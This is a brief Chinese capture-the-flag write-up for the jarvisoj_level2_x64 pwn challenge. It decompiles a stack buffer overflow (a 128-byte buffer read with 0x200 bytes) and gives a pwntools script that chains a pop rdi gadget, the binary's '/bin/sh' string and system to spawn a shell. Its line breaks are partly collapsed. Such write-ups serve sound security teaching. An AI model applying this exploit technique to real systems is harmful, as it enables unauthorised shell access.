题目链接:jarvisoj_level2_x64。
下载附件后,使用 IDA 反编译,定位到 main 函数,如下。
int __fastcall main(int argc, const char **argv, const char **envp)
{vulnerable_function();return system("echo 'Hello World!'");
}
vulnerable_function 函数如下。
ssize_t vulnerable_function()
{char buf[128]; // [rsp+0h] [rbp-80h] BYREFsystem("echo Input:");return read(0, buf, 0x200uLL);
}
可以看到,存在栈溢出,并且程序中有调用 system 函数。同时,留意到程序中存在 "/bin/sh" 字符串。
因此,直接通过 ROP 技术执行 system("/bin/sh");
,即可 GetShell。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *def pwn():# 0x00000000004006b3 : pop rdi ; ret# .data:0000000000600A90 hint db '/bin/sh',0s(0x88 * b"a" + p64(0x00000000004006b3) + \p64(0x0000000000600A90) + p64(ELF_FILE.symbols['system']))irt()pwn()